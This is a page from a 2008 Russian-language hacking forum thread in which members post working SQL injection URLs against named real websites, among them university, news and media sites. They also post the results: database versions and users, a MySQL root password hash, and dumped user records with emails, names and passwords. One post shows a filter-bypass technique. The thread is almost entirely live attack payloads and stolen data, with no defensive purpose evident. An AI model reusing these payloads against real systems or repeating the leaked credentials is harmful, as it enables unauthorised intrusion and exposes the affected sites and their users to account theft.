HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4851  
Старый 18.02.2008, 17:53
x88x
Участник форума
Регистрация: 27.11.2007
Сообщений: 233
Провел на форуме:
1379382

Репутация: 378
Отправить сообщение для x88x с помощью ICQ
По умолчанию

еще один:
_http://lapa.princeton.edu/peopledetail.php?ID=99999+union+select+1,2,3,4,VER SION(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,3 8,39/*
 
Ответить с цитированием

  #4852  
Старый 18.02.2008, 18:04
x88x
Участник форума
Регистрация: 27.11.2007
Сообщений: 233
Провел на форуме:
1379382

Репутация: 378
Отправить сообщение для x88x с помощью ICQ
По умолчанию

во, уже пятая версия мускула :
_http://www.geology.ohio-state.edu/faculty_bios.php?id=99999+union+select+1,2,3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,2 4,25,26,27,28,29,30,31/*
 
Ответить с цитированием

  #4853  
Старый 18.02.2008, 18:10
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

2 x88x
почему не понятно всё нормально

_http://wandp.american.edu/pages.php?ID=-5+union+select+1,aes_decrypt(aes_encrypt(user,0x71 ),0x71),aes_decrypt(aes_encrypt(password,0x71),0x7 1),4+from+mysql.user/*
root
*ADDF07FCC8E37371B887F38314C77A2FA4BC71CE
 
Ответить с цитированием

  #4854  
Старый 18.02.2008, 18:35
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
Отправить сообщение для .Begemot. с помощью ICQ
По умолчанию

Цитата:
Сообщение от x88x  
_http://wandp.american.edu/pages.php?ID=99999+union+select+1,2,3,4/*
тут чет непонятное...
Обход фильтрации -
Код HTML:
http://wandp.american.edu/pages.php?ID=99999+union+select+1,2,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+using+latin1),4/*
 
Ответить с цитированием

  #4855  
Старый 18.02.2008, 20:02
db_reader
Новичок
Регистрация: 23.01.2008
Сообщений: 15
Провел на форуме:
20588

Репутация: 63
По умолчанию

PR-6.

http://www.ochenk.com/entry.php?id=-63+union+select+1,concat_ws(0x3A3a,version(),datab ase(),user()),3,4/*
 
Ответить с цитированием

  #4856  
Старый 18.02.2008, 20:35
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Ничего больше сделать не пробывал, ибо лень)) Там уж сами... кому надо, тот сделает))
Просто нашел скулю и решил выложить))
Удачи...

http://www.warcraftrealms.com/census.php?serverid=-298+union+select+table_name,2+from+information_sch ema.tables/*

http://www.warcraftrealms.com/census.php?serverid=-298+union+select+column_name,2+from+information_sc hema.columns/*
 
Ответить с цитированием

  #4857  
Старый 18.02.2008, 21:38
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141

Репутация: 3099


По умолчанию

http://www.attcottonbowl.com/news_room/releases.php?uid=-165'+union+select+1,2,3,4,5,6,7,concat(version(),0 x3a,user(),0x3a,database()),9,10,11,12,13,14,15,16/*
______________________________
4.1.20:cottonbowl@localhost:cottonbowl

http://www.asf.ur.ru/index1.php?id=60&action=getviewclickedlink&uid=-1+union+select+concat(version(),0x3a,user(),0x3a,d atabase())/*

при потыке узнать версию выкидывает со странички
сюда http://5.0.41-log/
Зы typo3.... ошибка в class.tx_cmwlinklist_pi1.php

Последний раз редактировалось xcedz; 18.02.2008 в 21:57..
 
Ответить с цитированием

  #4858  
Старый 19.02.2008, 00:41
Momiji
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698

Репутация: 1446


Отправить сообщение для Momiji с помощью ICQ
По умолчанию

brassmedia.com
Код:
http://www.brassmedia.com/press/?id=-1+union+select+1,2,3,concat_ws(0x3,version(),user(),database()),5,6,7,8,9,10,11,12,13/*
5.0.22brass@172.20.0.31brass_media
Код:
http://www.brassmedia.com/press/?id=-1+union+select+1,2,3,concat_ws(0x3,user_id,first_name,last_name,password),5,6,7,8,9,10,11,12,13+from+brass_magazine.brasscu_user_accounts/*
1fastbee@centurytel.netfrederickbrozyna jrhardrunner
http://brassmedia.serveftp.net/index.asp
 
Ответить с цитированием

  #4859  
Старый 19.02.2008, 02:39
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

Цитата:
http://ugo.com.br/secoes_news_completo.php?codigo=11+union+select+1, 2,3,4,5,6,7,8/*
4.1.9
-----------------------------------------------------
Цитата:
http://www.chiangmainews.com/ecmn/viewfa.php?id=-1650+union+select+1,2,3,4,5,table_name,7,8,9,0,1+f rom+information_schema.tables/*
5.0.24a-standard-log
-----------------------------------------------------
Цитата:
http://sify.com/astrology/fullstory.php?id=-14166076+union+select+0,2,3,password,5,6,7,8,9,0,0 ,2,3,4,5,6,7,8+from+users/*
4.0.18-log
логин не нашёл
пасс:s0o2r3z
-----------------------------------------------------
Цитата:
http://www.philadelphiaweekly.com/view.php?id=8261+union+select+1,2,3,4,5,6,convert( version(),binary),8,9,0,1,2,3,4,5,6+from+users/*
4.1.12-STANDARD
-----------------------------------------------------
Цитата:
http://www.newsocialist.org/index.php?id=-1321+union+select+1+from+users/*
4.0.27-standard-log
 
Ответить с цитированием

  #4860  
Старый 19.02.2008, 02:50
Momiji
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698

Репутация: 1446


Отправить сообщение для Momiji с помощью ICQ
По умолчанию

Цитата:
Цитата:
http://sify.com/astrology/fullstory.php?id=-14166076+union+select+0,2,3,password,5,6,7,8,9,0,0 ,2,3,4,5,6,7,8+from+users/*
4.0.18-log
логин не нашёл
пасс:s0o2r3z
Код:
http://sify.com/astrology/fullstory.php?id=-14166076+union+select+0,7,3,concat(userid,0x3,password),5,6,7,8,9,0,0,2,3,4,5,6,7,8+from+users/*
akbar_babars0o2r3z
моть быть этот
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ